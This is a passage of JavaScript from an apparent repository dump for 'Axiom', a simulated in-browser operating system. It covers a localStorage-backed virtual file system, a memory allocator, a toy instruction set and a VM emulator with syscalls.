this.createDirectory(dir, true);\n        }\n\n        // Create some default files\n        this.writeFile('/etc/hostname', 'axiom');\n        this.writeFile('/etc/os-release', 'Axiom OS v1.0.0\\nDosX Processor A10\\n');\n        this.writeFile('/root/.profile', '# Axiom shell profile\\nPS1=\"root@axiom:~$ \"\\n');\n        \n        this.saveToStorage();\n    }\n\n    createDirectory(path, skipSave = false, depth = 0) {\n        // Prevent infinite recursion or extremely deep paths\n        if (depth > 100) {\n            throw new Error('Directory depth limit exceeded (max 100 levels)');\n        }\n        \n        const normalizedPath = this.normalizePath(path);\n        \n        if (this.fileSystem.has(normalizedPath)) {\n            const entry = this.fileSystem.get(normalizedPath);\n            if (entry.type === 'directory') {\n                return true;\n            }\n            throw new Error(`Path exists and is not a directory: ${path}`);\n        }\n\n        // Check directory limit\n        if (this.fileSystem.size > 10000) {\n            throw new Error('Maximum number of files/directories reached (10000)');\n        }\n\n        // Create parent directories if needed\n        const parentPath = this.getParentPath(normalizedPath);\n        if (parentPath !== normalizedPath && parentPath !== '/') {\n            this.createDirectory(parentPath, true, depth + 1);\n        }\n\n        this.fileSystem.set(normalizedPath, {\n            type: 'directory',\n            created: Date.now(),\n            modified: Date.now(),\n            permissions: 'drwxr-xr-x',\n            owner: 'root',\n            group: 'root',\n            children: []\n        });\n\n        if (!skipSave) {\n            this.saveToStorage();\n        }\n        \n        return true;\n    }\n\n    removeDirectory(path) {\n        const normalizedPath = this.normalizePath(path);\n        \n        if (!this.fileSystem.has(normalizedPath)) {\n            throw new Error(`Directory not found: ${path}`);\n        }\n\n        const entry = this.fileSystem.get(normalizedPath);\n        if (entry.type !== 'directory') {\n            throw new Error(`Not a directory: ${path}`);\n        }\n\n        // Check if directory is empty\n        const children = this.listDirectory(normalizedPath);\n        if (children.length > 0) {\n            throw new Error(`Directory not empty: ${path}`);\n        }\n\n        this.fileSystem.delete(normalizedPath);\n        this.saveToStorage();\n        return true;\n    }\n\n    writeFile(path, content, append = false) {\n        const normalizedPath = this.normalizePath(path);\n        const parentPath = this.getParentPath(normalizedPath);\n\n        // Ensure parent directory exists\n        if (!this.fileSystem.has(parentPath)) {\n            this.createDirectory(parentPath, true);\n        }\n\n        let fileContent = String(content || '');\n        if (append && this.fileSystem.has(normalizedPath)) {\n            const existing = this.fileSystem.get(normalizedPath);\n            if (existing.type === 'file') {\n                fileContent = existing.content + fileContent;\n            }\n        }\n\n        // Check file size limit (1MB per file)\n        const maxFileSize = 1024 * 1024;\n        if (fileContent.length > maxFileSize) {\n            throw new Error(`File size exceeds limit (${maxFileSize} bytes)`);\n        }\n\n        // Check storage quota before writing\n        const stats = this.getStorageStats();\n        const estimatedSize = new Blob([JSON.stringify({\n            fileSystem: Array.from(this.fileSystem.entries()),\n            currentDirectory: this.currentDirectory\n        })]).size;\n        \n        if (estimatedSize > stats.total * 0.9) {\n            throw new Error('Storage quota exceeded (90% full)');\n        }\n\n        this.fileSystem.set(normalizedPath, {\n            type: 'file',\n            content: fileContent,\n            created: this.fileSystem.has(normalizedPath) \n                ? this.fileSystem.get(normalizedPath).created \n                : Date.now(),\n            modified: Date.now(),\n            size: fileContent.length,\n            permissions: '-rw-r--r--',\n            owner: 'root',\n            group: 'root'\n        });\n\n        this.saveToStorage();\n        return true;\n    }\n\n    readFile(path) {\n        const normalizedPath = this.normalizePath(path);\n        \n        if (!this.fileSystem.has(normalizedPath)) {\n            throw new Error(`File not found: ${path}`);\n        }\n\n        const entry = this.fileSystem.get(normalizedPath);\n        if (entry.type !== 'file') {\n            throw new Error(`Not a file: ${path}`);\n        }\n\n        return entry.content;\n    }\n\n    deleteFile(path) {\n        const normalizedPath = this.normalizePath(path);\n        \n        if (!this.fileSystem.has(normalizedPath)) {\n            throw new Error(`File not found: ${path}`);\n        }\n\n        const entry = this.fileSystem.get(normalizedPath);\n        if (entry.type !== 'file') {\n            throw new Error(`Not a file: ${path}`);\n        }\n\n        this.fileSystem.delete(normalizedPath);\n        this.saveToStorage();\n        return true;\n    }\n\n    exists(path) {\n        const normalizedPath = this.normalizePath(path);\n        return this.fileSystem.has(normalizedPath);\n    }\n\n    getFile(path) {\n        const normalizedPath = this.normalizePath(path);\n        return this.fileSystem.get(normalizedPath);\n    }\n\n    listDirectory(path) {\n        const normalizedPath = this.normalizePath(path);\n        \n        if (!this.fileSystem.has(normalizedPath)) {\n            throw new Error(`Directory not found: ${path}`);\n        }\n\n        const entry = this.fileSystem.get(normalizedPath);\n        if (entry.type !== 'directory') {\n            throw new Error(`Not a directory: ${path}`);\n        }\n\n        const children = [];\n        const pathPrefix = normalizedPath === '/' ? '/' : normalizedPath + '/';\n        \n        for (const [entryPath, entryData] of this.fileSystem.entries()) {\n            if (entryPath.startsWith(pathPrefix) && entryPath !== normalizedPath) {\n                const relativePath = entryPath.substring(pathPrefix.length);\n                if (!relativePath.includes('/')) {\n                    children.push({\n                        name: relativePath,\n                        path: entryPath,\n                        type: entryData.type,\n                        size: entryData.size || 0,\n                        modified: entryData.modified,\n                        permissions: entryData.permissions,\n                        owner: entryData.owner\n                    });\n                }\n            }\n        }\n\n        return children;\n    }\n\n    changeDirectory(path) {\n        const normalizedPath = this.normalizePath(path);\n        \n        if (!this.fileSystem.has(normalizedPath)) {\n            throw new Error(`Directory not found: ${path}`);\n        }\n\n        const entry = this.fileSystem.get(normalizedPath);\n        if (entry.type !== 'directory') {\n            throw new Error(`Not a directory: ${path}`);\n        }\n\n        this.currentDirectory = normalizedPath;\n        \n        // Update environment\n        if (window.axiomEnv) {\n            window.axiomEnv.updatePWD(normalizedPath);\n        }\n        \n        return normalizedPath;\n    }\n\n    getCurrentDirectory() {\n        return this.currentDirectory;\n    }\n\n    normalizePath(path) {\n        // Handle relative paths\n        if (!path.startsWith('/')) {\n            path = this.currentDirectory + '/' + path;\n        }\n\n        // Handle . and ..\n        const parts = path.split('/').filter(p => p.length > 0);\n        const normalized = [];\n\n        for (const part of parts) {\n            if (part === '.') {\n                continue;\n            } else if (part === '..') {\n                if (normalized.length > 0) {\n                    normalized.pop();\n                }\n            } else {\n                normalized.push(part);\n            }\n        }\n\n        return normalized.length === 0 ? '/' : '/' + normalized.join('/');\n    }\n\n    getParentPath(path) {\n        const normalized = this.normalizePath(path);\n        if (normalized === '/') {\n            return '/';\n        }\n        \n        const lastSlash = normalized.lastIndexOf('/');\n        return lastSlash === 0 ? '/' : normalized.substring(0, lastSlash);\n    }\n\n    getBaseName(path) {\n        const normalized = this.normalizePath(path);\n        if (normalized === '/') {\n            return '/';\n        }\n        \n        const lastSlash = normalized.lastIndexOf('/');\n        return normalized.substring(lastSlash + 1);\n    }\n\n    copyFile(sourcePath, destPath) {\n        const content = this.readFile(sourcePath);\n        this.writeFile(destPath, content);\n        return true;\n    }\n\n    moveFile(sourcePath, destPath) {\n        this.copyFile(sourcePath, destPath);\n        this.deleteFile(sourcePath);\n        return true;\n    }\n\n    saveToStorage() {\n        try {\n            const data = {\n                fileSystem: Array.from(this.fileSystem.entries()),\n                currentDirectory: this.currentDirectory\n            };\n            \n            let serialized = JSON.stringify(data);\n            \n            // Apply compression if available\n            if (this.compression) {\n                serialized = this.compression.compress(serialized);\n            }\n            \n            // Check if data exceeds quota\n            if (serialized.length > 4.5 * 1024 * 1024) {\n                throw new Error('File system too large to save (max 4.5MB)');\n            }\n            \n            localStorage.setItem(this.storageKey, serialized);\n        } catch (e) {\n            console.error('Failed to save file system:', e);\n            if (e.name === 'QuotaExceededError') {\n                throw new Error('Storage quota exceeded. Please delete some files.');\n            }\n            throw e;\n        }\n    }\n\n    loadFromStorage() {\n        try {\n            let stored = localStorage.getItem(this.storageKey);\n            if (stored) {\n                // Try to parse as JSON first (uncompressed data)\n                let data;\n                try {\n                    data = JSON.parse(stored);\n                } catch (jsonError) {\n                    // If it starts with our marker, decompress\n                    if (stored.startsWith('__COMPRESSED__') && this.compression) {\n                        const decompressed = this.compression.decompress(stored);\n                        data = JSON.parse(decompressed);\n                    } else {\n                        // Corrupted or old format - clear and start fresh\n                        console.warn('Corrupted file system data, resetting to default');\n                        localStorage.removeItem(this.storageKey);\n                        return;\n                    }\n                }\n                \n                this.fileSystem = new Map(data.fileSystem);\n                this.currentDirectory = data.currentDirectory || '/root';\n            }\n        } catch (e) {\n            console.error('Failed to load file system:', e);\n            // Reset to default if corrupted\n            localStorage.removeItem(this.storageKey);\n            this.fileSystem.clear();\n        }\n    }\n\n    clearStorage() {\n        this.fileSystem.clear();\n        this.currentDirectory = '/root';\n        localStorage.removeItem(this.storageKey);\n        this.initializeDefaultFS();\n    }\n\n    getStorageStats() {\n        const stored = localStorage.getItem(this.storageKey) || '';\n        const used = new Blob([stored]).size;\n        const total = 5 * 1024 * 1024; // 5MB typical localStorage limit\n        \n        const stats = {\n            used,\n            total,\n            free: total - used,\n            usedPercent: (used / total * 100).toFixed(2),\n            compressed: !!this.compression\n        };\n        \n        // Add compression stats if available\n        if (this.compression) {\n            const compressionStats = this.compression.getStats();\n            stats.compressionRatio = compressionStats.lastCompressionRatio;\n            stats.algorithm = compressionStats.algorithm;\n        }\n        \n        return stats;\n    }\n}\n\n// Export for global access\nwindow.VMContainer = VMContainer;\n"
  },
  {
    "path": "axiom/application_data/system/vm/container.memguard.js",
    "content": "/**\n * Axiom Memory Guard\n * Manages virtual memory allocation and protection\n */\n\nclass MemoryGuard {\n    constructor() {\n        this.totalMemory = 128 * 1024 * 1024; // 128 MB simulated\n        this.pageSize = 4096; // 4 KB pages\n        this.allocatedBlocks = new Map();\n        this.freeBlocks = [];\n        this.nextAddress = 0x1000; // Start at 4 KB\n        this.memoryLimit = this.totalMemory;\n    }\n\n    async initialize() {\n        // Initialize free memory pool\n        this.freeBlocks.push({\n            address: this.nextAddress,\n            size: this.totalMemory - this.nextAddress\n        });\n        \n        return true;\n    }\n\n    allocate(size) {\n        if (size <= 0 || !Number.isFinite(size)) {\n            throw new Error('Invalid allocation size');\n        }\n        \n        // Prevent excessive allocation\n        if (size > this.totalMemory / 2) {\n            throw new Error('Allocation size exceeds 50% of total memory');\n        }\n        \n        // Check total allocated memory\n        let totalAllocated = 0;\n        for (const block of this.allocatedBlocks.values()) {\n            totalAllocated += block.size;\n        }\n        \n        if (totalAllocated + size > this.totalMemory * 0.95) {\n            throw new Error('Memory limit reached (95% allocated)');\n        }\n\n        // Align to page size\n        const alignedSize = Math.ceil(size / this.pageSize) * this.pageSize;\n\n        // Find suitable free block\n        let blockIndex = -1;\n        for (let i = 0; i < this.freeBlocks.length; i++) {\n            if (this.freeBlocks[i].size >= alignedSize) {\n                blockIndex = i;\n                break;\n            }\n        }\n\n        if (blockIndex === -1) {\n            throw new Error('Out of memory');\n        }\n\n        const block = this.freeBlocks[blockIndex];\n        const address = block.address;\n\n        // Update free block\n        if (block.size === alignedSize) {\n            this.freeBlocks.splice(blockIndex, 1);\n        } else {\n            block.address += alignedSize;\n            block.size -= alignedSize;\n        }\n\n        // Track allocated block\n        this.allocatedBlocks.set(address, {\n            address,\n            size: alignedSize,\n            allocated: Date.now(),\n            protected: false\n        });\n\n        return address;\n    }\n\n    free(address) {\n        const block = this.allocatedBlocks.get(address);\n        if (!block) {\n            throw new Error(`Invalid memory address: 0x${address.toString(16)}`);\n        }\n\n        if (block.protected) {\n            throw new Error('Cannot free protected memory');\n        }\n\n        // Remove from allocated blocks\n        this.allocatedBlocks.delete(address);\n\n        // Add to free blocks\n        this.freeBlocks.push({\n            address: block.address,\n            size: block.size\n        });\n\n        // Merge adjacent free blocks\n        this.mergeFreeBlocks();\n\n        return true;\n    }\n\n    mergeFreeBlocks() {\n        // Sort by address\n        this.freeBlocks.sort((a, b) => a.address - b.address);\n\n        // Merge adjacent blocks\n        let i = 0;\n        while (i < this.freeBlocks.length - 1) {\n            const current = this.freeBlocks[i];\n            const next = this.freeBlocks[i + 1];\n\n            if (current.address + current.size === next.address) {\n                current.size += next.size;\n                this.freeBlocks.splice(i + 1, 1);\n            } else {\n                i++;\n            }\n        }\n    }\n\n    protect(address) {\n        const block = this.allocatedBlocks.get(address);\n        if (!block) {\n            throw new Error(`Invalid memory address: 0x${address.toString(16)}`);\n        }\n\n        block.protected = true;\n        return true;\n    }\n\n    unprotect(address) {\n        const block = this.allocatedBlocks.get(address);\n        if (!block) {\n            throw new Error(`Invalid memory address: 0x${address.toString(16)}`);\n        }\n\n        block.protected = false;\n        return true;\n    }\n\n    isValidAddress(address) {\n        return this.allocatedBlocks.has(address);\n    }\n\n    getBlockInfo(address) {\n        return this.allocatedBlocks.get(address);\n    }\n\n    getMemoryInfo() {\n        let allocatedSize = 0;\n        for (const block of this.allocatedBlocks.values()) {\n            allocatedSize += block.size;\n        }\n\n        let freeSize = 0;\n        for (const block of this.freeBlocks) {\n            freeSize += block.size;\n        }\n\n        return {\n            total: Math.floor(this.totalMemory / (1024 * 1024)),\n            allocated: Math.floor(allocatedSize / (1024 * 1024)),\n            free: Math.floor(freeSize / (1024 * 1024)),\n            available: Math.floor(freeSize / (1024 * 1024)),\n            blocks: this.allocatedBlocks.size,\n            pageSize: this.pageSize\n        };\n    }\n\n    getAllocatedBlocks() {\n        const blocks = [];\n        for (const [address, block] of this.allocatedBlocks.entries()) {\n            blocks.push({\n                address: '0x' + address.toString(16),\n                size: block.size,\n                sizeKB: Math.floor(block.size / 1024),\n                allocated: new Date(block.allocated).toISOString(),\n                protected: block.protected\n            });\n        }\n        return blocks;\n    }\n\n    getFreeBlocks() {\n        return this.freeBlocks.map(block => ({\n            address: '0x' + block.address.toString(16),\n            size: block.size,\n            sizeKB: Math.floor(block.size / 1024)\n        }));\n    }\n\n    defragment() {\n        // Sort allocated blocks by address\n        const blocks = Array.from(this.allocatedBlocks.values())\n            .sort((a, b) => a.address - b.address);\n\n        // Rebuild free blocks\n        this.freeBlocks = [];\n        let currentAddress = this.nextAddress;\n\n        for (const block of blocks) {\n            if (currentAddress < block.address) {\n                this.freeBlocks.push({\n                    address: currentAddress,\n                    size: block.address - currentAddress\n                });\n            }\n            currentAddress = block.address + block.size;\n        }\n\n        // Add remaining free space\n        if (currentAddress < this.memoryLimit) {\n            this.freeBlocks.push({\n                address: currentAddress,\n                size: this.memoryLimit - currentAddress\n            });\n        }\n\n        return true;\n    }\n\n    reset() {\n        this.allocatedBlocks.clear();\n        this.freeBlocks = [{\n            address: this.nextAddress,\n            size: this.totalMemory - this.nextAddress\n        }];\n    }\n\n    // Memory leak detection\n    detectLeaks() {\n        const now = Date.now();\n        const leaks = [];\n        const threshold = 3600000; // 1 hour\n\n        for (const [address, block] of this.allocatedBlocks.entries()) {\n            if (now - block.allocated > threshold) {\n                leaks.push({\n                    address: '0x' + address.toString(16),\n                    size: block.size,\n                    age: Math.floor((now - block.allocated) / 1000) + 's'\n                });\n            }\n        }\n\n        return leaks;\n    }\n}\n\n// Export for global access\nwindow.MemoryGuard = MemoryGuard;\n"
  },
  {
    "path": "axiom/application_data/system/vm/emulator.instructions.js",
    "content": "/**\n * Axiom VM Instruction Set\n * Defines available instructions for the virtual machine\n */\n\nclass InstructionSet {\n    constructor() {\n        this.instructions = new Map();\n        this.registerInstructions();\n    }\n\n    registerInstructions() {\n        // Data movement instructions\n        this.register('MOV', this.inst_mov, 'Move data between registers/memory');\n        this.register('PUSH', this.inst_push, 'Push value onto stack');\n        this.register('POP', this.inst_pop, 'Pop value from stack');\n        this.register('LEA', this.inst_lea, 'Load effective address');\n        \n        // Arithmetic instructions\n        this.register('ADD', this.inst_add, 'Add two values');\n        this.register('SUB', this.inst_sub, 'Subtract two values');\n        this.register('MUL', this.inst_mul, 'Multiply two values');\n        this.register('DIV', this.inst_div, 'Divide two values');\n        this.register('INC', this.inst_inc, 'Increment value');\n        this.register('DEC', this.inst_dec, 'Decrement value');\n        this.register('NEG', this.inst_neg, 'Negate value');\n        \n        // Logical instructions\n        this.register('AND', this.inst_and, 'Logical AND');\n        this.register('OR', this.inst_or, 'Logical OR');\n        this.register('XOR', this.inst_xor, 'Logical XOR');\n        this.register('NOT', this.inst_not, 'Logical NOT');\n        this.register('SHL', this.inst_shl, 'Shift left');\n        this.register('SHR', this.inst_shr, 'Shift right');\n        \n        // Comparison instructions\n        this.register('CMP', this.inst_cmp, 'Compare two values');\n        this.register('TEST', this.inst_test, 'Test bits');\n        \n        // Control flow instructions\n        this.register('JMP', this.inst_jmp, 'Unconditional jump');\n        this.register('JE', this.inst_je, 'Jump if equal');\n        this.register('JNE', this.inst_jne, 'Jump if not equal');\n        this.register('JG', this.inst_jg, 'Jump if greater');\n        this.register('JL', this.inst_jl, 'Jump if less');\n        this.register('JGE', this.inst_jge, 'Jump if greater or equal');\n        this.register('JLE', this.inst_jle, 'Jump if less or equal');\n        this.register('CALL', this.inst_call, 'Call subroutine');\n        this.register('RET', this.inst_ret, 'Return from subroutine');\n        \n        // System instructions\n        this.register('NOP', this.inst_nop, 'No operation');\n        this.register('HLT', this.inst_hlt, 'Halt execution');\n        this.register('INT', this.inst_int, 'Software interrupt');\n        this.register('SYSCALL', this.inst_syscall, 'System call');\n    }\n\n    register(mnemonic, handler, description) {\n        this.instructions.set(mnemonic.toUpperCase(), {\n            handler,\n            description,\n            mnemonic\n        });\n    }\n\n    execute(instruction, context) {\n        const inst = this.instructions.get(instruction.mnemonic.toUpperCase());\n        if (!inst) {\n            throw new Error(`Unknown instruction: ${instruction.mnemonic}`);\n        }\n        \n        return inst.handler.call(this, instruction.operands, context);\n    }\n\n    // Instruction implementations\n    inst_mov(operands, context) {\n        const { dest, src } = operands;\n        context.registers[dest] = this.resolveValue(src, context);\n        return { cycles: 1 };\n    }\n\n    inst_push(operands, context) {\n        const { value } = operands;\n        const val = this.resolveValue(value, context);\n        context.stack.push(val);\n        context.registers.rsp -= 8;\n        return { cycles: 1 };\n    }\n\n    inst_pop(operands, context) {\n        const { dest } = operands;\n        if (context.stack.length === 0) {\n            throw new Error('Stack underflow');\n        }\n        context.registers[dest] = context.stack.pop();\n        context.registers.rsp += 8;\n        return { cycles: 1 };\n    }\n\n    inst_lea(operands, context) {\n        const { dest, address } = operands;\n        context.registers[dest] = address;\n        return { cycles: 1 };\n    }\n\n    inst_add(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] += val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_sub(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] -= val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_mul(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] *= val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 3 };\n    }\n\n    inst_div(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        if (val === 0) {\n            throw new Error('Division by zero');\n        }\n        context.registers[dest] = Math.floor(context.registers[dest] / val);\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 4 };\n    }\n\n    inst_inc(operands, context) {\n        const { dest } = operands;\n        context.registers[dest]++;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_dec(operands, context) {\n        const { dest } = operands;\n        context.registers[dest]--;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_neg(operands, context) {\n        const { dest } = operands;\n        context.registers[dest] = -context.registers[dest];\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_and(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] &= val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_or(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] |= val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_xor(operands, context) {\n        const { dest, src } = operands;\n        const val = this.resolveValue(src, context);\n        context.registers[dest] ^= val;\n        this.updateFlags(context, context.registers[dest]);\n        return { cycles: 1 };\n    }\n\n    inst_not(operands, context) {\n        const { dest } = operands;\n        context.registers[dest] = ~context.registers[dest];\n        return { cycles: 1 };\n    }\n\n    inst_shl(operands, context) {\n        const { dest, count } = operands;\n        const cnt = this.resolveValue(count, context);\n        context.registers[dest] <<= cnt;\n        return { cycles: 1 };\n    }\n\n    inst_shr(operands, context) {\n        const { dest, count } = operands;\n        const cnt = this.resolveValue(count, context);\n        context.registers[dest] >>= cnt;\n        return { cycles: 1 };\n    }\n\n    inst_cmp(operands, context) {\n        const { op1, op2 } = operands;\n        const val1 = this.resolveValue(op1, context);\n        const val2 = this.resolveValue(op2, context);\n        this.updateFlags(context, val1 - val2);\n        return { cycles: 1 };\n    }\n\n    inst_test(operands, context) {\n        const { op1, op2 } = operands;\n        const val1 = this.resolveValue(op1, context);\n        const val2 = this.resolveValue(op2, context);\n        this.updateFlags(context, val1 & val2);\n        return { cycles: 1 };\n    }\n\n    inst_jmp(operands, context) {\n        const { target } = operands;\n        context.registers.rip = target;\n        return { cycles: 2, jumped: true };\n    }\n\n    inst_je(operands, context) {\n        const { target } = operands;\n        if (context.flags.zero) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_jne(operands, context) {\n        const { target } = operands;\n        if (!context.flags.zero) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_jg(operands, context) {\n        const { target } = operands;\n        if (!context.flags.zero && !context.flags.sign) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_jl(operands, context) {\n        const { target } = operands;\n        if (context.flags.sign) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_jge(operands, context) {\n        const { target } = operands;\n        if (!context.flags.sign || context.flags.zero) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_jle(operands, context) {\n        const { target } = operands;\n        if (context.flags.sign || context.flags.zero) {\n            context.registers.rip = target;\n            return { cycles: 2, jumped: true };\n        }\n        return { cycles: 1, jumped: false };\n    }\n\n    inst_call(operands, context) {\n        const { target } = operands;\n        context.stack.push(context.registers.rip);\n        context.registers.rsp -= 8;\n        context.registers.rip = target;\n        return { cycles: 3, jumped: true };\n    }\n\n    inst_ret(operands, context) {\n        if (context.stack.length === 0) {\n            throw new Error('Stack underflow on return');\n        }\n        context.registers.rip = context.stack.pop();\n        context.registers.rsp += 8;\n        return { cycles: 3, jumped: true };\n    }\n\n    inst_nop(operands, context) {\n        return { cycles: 1 };\n    }\n\n    inst_hlt(operands, context) {\n        context.halted = true;\n        return { cycles: 1, halted: true };\n    }\n\n    inst_int(operands, context) {\n        const { number } = operands;\n        if (window.axiomInterrupts) {\n            window.axiomInterrupts.handleInterrupt(number);\n        }\n        return { cycles: 5 };\n    }\n\n    inst_syscall(operands, context) {\n        const { syscall, args } = operands;\n        // Syscall handled by VM\n        return { cycles: 10, syscall, args };\n    }\n\n    resolveValue(value, context) {\n        if (typeof value === 'number') {\n            return value;\n        }\n        if (typeof value === 'string' && context.registers[value] !== undefined) {\n            return context.registers[value];\n        }\n        return value;\n    }\n\n    updateFlags(context, result) {\n        context.flags.zero = result === 0;\n        context.flags.sign = result < 0;\n        context.flags.overflow = false; // Simplified\n        context.flags.carry = false; // Simplified\n    }\n\n    listInstructions() {\n        const list = [];\n        for (const [mnemonic, inst] of this.instructions.entries()) {\n            list.push({\n                mnemonic,\n                description: inst.description\n            });\n        }\n        return list;\n    }\n}\n\n// Export for global access\nwindow.InstructionSet = InstructionSet;\n"
  },
  {
    "path": "axiom/application_data/system/vm/emulator.js",
    "content": "/**\n * Axiom Virtual Machine Emulator\n * Executes programs and manages system calls\n */\n\nclass VMEmulator {\n    constructor() {\n        this.programs = new Map();\n        this.processes = new Map();\n        this.nextPID = 1;\n        this.currentProcess = null;\n        this.syscallTable = new Map();\n    }\n\n    async initialize() {\n        this.registerSyscalls();\n        return true;\n    }\n\n    registerSyscalls() {\n        // File operations\n        this.syscallTable.set('open', this.sys_open.bind(this));\n        this.syscallTable.set('close', this.sys_close.bind(this));\n        this.syscallTable.set('read', this.sys_read.bind(this));\n        this.syscallTable.set('write', this.sys_write.bind(this));\n        this.syscallTable.set('lseek', this.sys_lseek.bind(this));\n        \n        // Directory operations\n        this.syscallTable.set('mkdir', this.sys_mkdir.bind(this));\n        this.syscallTable.set('rmdir', this.sys_rmdir.bind(this));\n        this.syscallTable.set('chdir', this.sys_chdir.bind(this));\n        this.syscallTable.set('getcwd', this.sys_getcwd.bind(this));\n        \n        // Process operations\n        this.syscallTable.set('exit', this.sys_exit.bind(this));\n        this.syscallTable.set('getpid', this.sys_getpid.bind(this));\n        this.syscallTable.set('sleep', this.sys_sleep.bind(this));\n        \n        // Memory operations\n        this.syscallTable.set('malloc', this.sys_malloc.bind(this));\n        this.syscallTable.set('free', this.sys_free.bind(this));\n    }\n\n    async executeSyscall(syscall, args) {\n        const handler = this.syscallTable.get(syscall);\n        if (!handler) {\n            throw new Error(`Unknown syscall: ${syscall}`);\n        }\n        \n        try {\n            return await handler(args);\n        } catch (error) {\n            return { success: false, error: error.message };\n        }\n    }\n\n    // Syscall implementations\n    async sys_open(args) {\n        const { path, mode } = args;\n        const fd = window.axiomFS.input.open(path, mode || 'r');\n        return { success: true, fd };\n    }\n\n    async sys_close(args) {\n        const { fd } = args;\n        window.axiomFS.input.close(fd);\n        return { success: true };\n    }\n\n    async sys_read(args) {\n        const { fd, length } = args;\n        const data = window.axiomFS.input.read(fd, length || -1);\n        return { success: true, data };\n    }\n\n    async sys_write(args) {\n        const { fd, data } = args;\n        const written = window.axiomFS.output.write(fd, data);\n        return { success: true, written };\n    }\n\n    async sys_lseek(args) {\n        const { fd, offset, whence } = args;\n        const position = window.axiomFS.input.seek(fd, offset, whence || 'SEEK_SET');\n        return { success: true, position };\n    }\n\n    async sys_mkdir(args) {\n        const { path } = args;\n        window.axiomContainer.createDirectory(path);\n        return { success: true };\n    }\n\n    async sys_rmdir(args) {\n        const { path } = args;\n        window.axiomContainer.removeDirectory(path);\n        return { success: true };\n    }\n\n    async sys_chdir(args) {\n        const { path } = args;\n        window.axiomContainer.changeDirectory(path);\n        return { success: true };\n    }\n\n    async sys_getcwd(args) {\n        const cwd = window.axiomContainer.getCurrentDirectory();\n        return { success: true, cwd };\n    }\n\n    async sys_exit(args) {\n        const { code } = args;\n        if (this.currentProcess) {\n            this.currentProcess.exitCode = code || 0;\n            this.currentProcess.state = 'terminated';\n        }\n        return { success: true, code };\n    }\n\n    async sys_getpid(args) {\n        const pid = this.currentProcess ? this.currentProcess.pid : 0;\n        return { success: true, pid };\n    }\n\n    async sys_sleep(args) {\n        const { milliseconds } = args;\n        await new Promise(resolve => setTimeout(resolve, milliseconds));\n        return { success: true };\n    }\n\n    async sys_malloc(args) {\n        const { size } = args;\n        const address = window.axiomMemory.allocate(size);\n        return { success: true, address };\n    }\n\n    async sys_free(args) {\n        const { address } = args;\n        window.axiomMemory.free(address);\n        return { success: true };\n    }\n\n    // Process management\n    createProcess(name, code) {\n        const pid = this.nextPID++;\n        const process = {\n            pid,\n            name,\n            code,\n            state: 'ready',\n            exitCode: null,\n            createdAt: Date.now(),\n            memory: new Map()\n        };\n        \n        this.processes.set(pid, process);\n        return pid;\n    }\n\n    async executeProcess(pid) {\n        const process = this.processes.get(pid);\n        if (!process) {\n            throw new Error(`Process ${pid} not found`);\n        }\n\n        this.currentProcess = process;\n        process.state = 'running';\n\n        try {\n            // Execute process code\n            const result = await this.executeCode(process.code);\n            process.state = 'terminated';\n            process.exitCode = 0;\n            return result;\n        } catch (error) {\n            process.state = 'terminated';\n            process.exitCode = 1;\n            throw error;\n        } finally {\n            this.currentProcess = null;\n        }\n    }\n\n    async executeCode(code) {\n        // Simple code execution\n        // In a real VM, this would parse and execute bytecode\n        try {\n            const func = new Function('vm', 'args', code);\n            return await func(this, {});\n        } catch (error) {\n            throw new Error(`Execution error: ${error.message}`);\n        }\n    }\n\n    killProcess(pid) {\n        const process = this.processes.get(pid);\n        if (!process) {\n            return false;\n        }\n\n        process.state = 'terminated';\n        process.exitCode = -1;\n        this.processes.delete(pid);\n        return true;\n    }\n\n    listProcesses() {\n        const list = [];\n        for (const [pid, process] of this.processes.entries()) {\n            list.push({\n                pid: process.pid,\n                name: process.name,\n                state: process.state,\n                exitCode: process.exitCode\n            });\n        }\n        return list;\n    }\n}\n\n// Export for global access\nwindow.VMEmulator = VMEmulator;\n"
  },
  {
    "path": "axiom/application_data/webui/app.manifest.js",
